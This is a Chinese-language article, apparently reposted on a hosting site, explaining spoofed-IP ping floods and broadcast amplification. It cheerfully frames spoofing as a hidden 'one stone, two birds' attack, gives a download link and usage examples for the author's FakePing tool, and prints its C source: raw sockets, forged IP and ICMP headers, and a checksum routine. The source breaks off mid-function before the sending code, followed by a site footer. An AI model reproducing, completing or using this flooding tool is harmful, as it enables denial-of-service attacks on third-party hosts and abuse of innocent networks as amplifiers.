偽裝IP地址的洪水Ping攻擊
最近不少人又來號召大家一起去Ping死什么什么網(wǎng)站,不過從技術(shù)上來說,無論什么拒絕服務(wù)攻擊方式,都需要滿足一個條件:用最少的資源換取被攻擊者最大的消耗。像這樣大家一起去Ping不僅是奇怪的:用最大的資源換取對方最小的傷害;也是可笑的:人民戰(zhàn)爭大概屬于50多年前的行為了,在互聯(lián)網(wǎng)時代,并不是人多就能如何如何的。我們今天是來說Ping的,Ping是通過發(fā)送ICMP報文(類型8代碼0)探尋網(wǎng)絡(luò)主機是否存在的一個工具,很久以前,一部分操作系統(tǒng)(例如win95),不能很好處理過大的Ping包,導(dǎo)致出現(xiàn)了Ping to Death的攻擊方式(用大Ping包搞垮對方或者塞滿網(wǎng)絡(luò)),隨著操作系統(tǒng)的升級,網(wǎng)絡(luò)帶寬的升級、計算機硬件的升級,目前,大Ping包基本上沒有很大的攻擊效果(分布式攻擊除外),如果一定要使用Ping包去攻擊別的主機,除非是利用TCP/IP協(xié)議的其他特性或者網(wǎng)絡(luò)拓撲結(jié)構(gòu)的缺陷放大攻擊的力度(所謂正反饋)正常情況下,Ping的流程是這樣的:主機A發(fā)送ICMP 8,0報文給主機B主機B回送ICMp 0,0報文給主機A因為ICMP基于無連結(jié),所以就給了我們可乘之機,假設(shè)現(xiàn)在主機A偽裝成主機C發(fā)送ICMP 8,0報文,結(jié)果會怎么樣呢?顯然,主機B會以為是主機C發(fā)送的報文而去回應(yīng)主機C,結(jié)構(gòu)如下: 偽裝為主機C 錯誤的回復(fù)主機A--------------------->主機B------------------>主機C這種情況下,由于主機A只需要不斷發(fā)送Ping報文而不需要處理返回的EchoReply,所以攻擊力度成倍的增加,同時實際上主機B和主機C都是被進攻的目標,而且不會留下自己的痕跡,是一種隱蔽的一石二鳥的攻擊方法。上面的方法用SOCK_RAW偽裝IP就可以輕松實現(xiàn),不過即使放大了兩倍,對于比較強壯的操作系統(tǒng)和較大的帶寬,也不見得有多大的效果,難道我們又來組織運動?不好吧,還是讓敵人給我們放大好了,TCP/IP中有一個概念叫做廣播,所謂廣播的意思是說有一個地址,任何局域網(wǎng)內(nèi)的主機都會接收發(fā)往這個地址的報文(就像電臺廣播一樣),要是?難道?沒錯!如果我們往廣播地址發(fā)送一個ICMP ECHO報文(就是Ping廣播地址一下),結(jié)果會得到非常多的回應(yīng),以太網(wǎng)內(nèi)每一個允許接收廣播報文的主機都會回應(yīng)一個ICMP_ECHOREPLY,如果你想試驗,可以在unix的機器上Ping一下你局域網(wǎng)的廣播地址,會看到很多回應(yīng)的的dup包,就是重復(fù)的應(yīng)答,windows系統(tǒng)上不會有這樣的結(jié)果,因為微軟的Ping程序不對多個回應(yīng)進行解包,收到第一個包以后就丟棄后面的了,同樣微軟的系統(tǒng)默認也不回應(yīng)廣播地址的包,所以你最好在一個大量unix主機的局域網(wǎng)內(nèi)測試。說到這里,聰明的你肯定知道我想干什么了吧?嘿嘿嘿嘿,沒錯,當我們偽裝成被攻擊主機向一個廣播地址發(fā)送Ping請求的時候,所有這個廣播地址內(nèi)的主機都會回應(yīng)這個Ping請求,這樣,相當于是N倍的攻擊力度?。∟=廣播地址內(nèi)回應(yīng)Ping包的主機數(shù)量) 偽裝為主機C 所有廣播主機都會錯誤的回復(fù)主機A--------------------->廣播地址=========================>主機C我寫了一個FakePing的工具,可以在Http://www.patching.net/shotgun/FakePing.exe下載。使用方法是FakePing.exe FakeIP TargetIP [PacketSize],如果TargetIP是廣播地址,那么FakeIP是被攻擊目標。源碼公布如下:typedef struct _iphdr //定義IP首部{unsigned char h_verlen; //4位首部長度,4位IP版本號unsigned char tos; //8位服務(wù)類型TOSunsigned short total_len; //16位總長度(字節(jié))unsigned short ident; //16位標識unsigned short frag_and_flags; //3位標志位unsigned char ttl; //8位生存時間 TTLunsigned char proto; //8位協(xié)議 (TCP, UDP 或其他)unsigned short checksum; //16位IP首部校驗和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IP_HEADER;// 定義ICMP首部typedef struct _ihdr{BYTE i_type; //8位類型BYTE i_code; //8位代碼USHORT i_cksum; //16位校驗和USHORT i_id; //識別號(一般用進程號作為識別號)USHORT i_seq; //報文序列號ULONG timestamp; //時間戳}ICMP_HEADER;//CheckSum:計算校驗和的子函數(shù)USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); }if(size ) { cksum += *(UCHAR*)buffer; }cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}//FakePing主函數(shù)int main(int argc, char **argv){int datasize,ErrorCode,counter,flag;int TimeOut=2000, SendSEQ=0, PacketSize=32;char SendBuf[65535]={0};WSADATA wsaData;SOCKET SockRaw=(SOCKET)NULL;struct sockaddr_in DestAddr;IP_HEADER ip_header;ICMP_HEADER icmp_header;char FakeSourceIp[20],DestIp[20];//接受命令行參數(shù)if (argc<3) { printf("FakePing by Shotgun"); printf(" This program can do Ping-Flooding from a FakeIP"); printf(" Using a BroadCast IP as the FakeIP will enhance the effect"); printf("Email:"); printf(" Shotgun@Xici.Net"); printf("HomePage:"); printf(" http://It.Xici.Net"); printf(" http://www.Patching.Net"); printf("USAGE:FakePing.exe FakeSourceIp DestinationIp [PacketSize]"); printf("Example:"); printf(" FakePing.exe 192.168.15.23 192.168.15.255"); printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400"); exit(0); }strcpy(FakeSourceIp,argv[1]);strcpy(DestIp,argv[2]);if (argc>3) PacketSize=atoi(argv[3]);if (PacketSize>60000) { printf("Error! Packet size too big, must <60K"); exit(0); }printf("Now Fake %s Ping %s using Packet size=%d bytes",FakeSourceIp, DestIp, PacketSize);printf(" Ctrl+C to Quit");//初始化SOCK_RAWif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) { fprintf(stderr,"WSAStartup failed: %d",ErrorCode); ExitProcess(STATUS_FAILED); }if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) { fprintf(stderr,"WSASocket() failed: %d",WSAGetLastError()); ExitProcess(STATUS_FAILED); }flag=TRUE;//設(shè)置IP_HDRINCL以自己填充IP首部ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!");__try{//設(shè)置發(fā)送超時ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if (ErrorCode==SOCKET_ERROR) { fprintf(stderr,"Failed to set send TimeOut: %d",WSAGetLastError()); __leave; }memset(&DestAddr,0,sizeof(DestAddr));DestAddr.sin_family=AF_INET;DestAddr.sin_addr.s_addr=inet_addr(DestIp);//填充IP首部ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位總長度(字節(jié))ip_header.ident=1;//16位標識ip_header.frag_and_flags=0;//3位標志位ip_header.ttl=128;//8位生存時間 TTLip_header.proto=IPPROTO_ICMP;
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請
點擊舉報。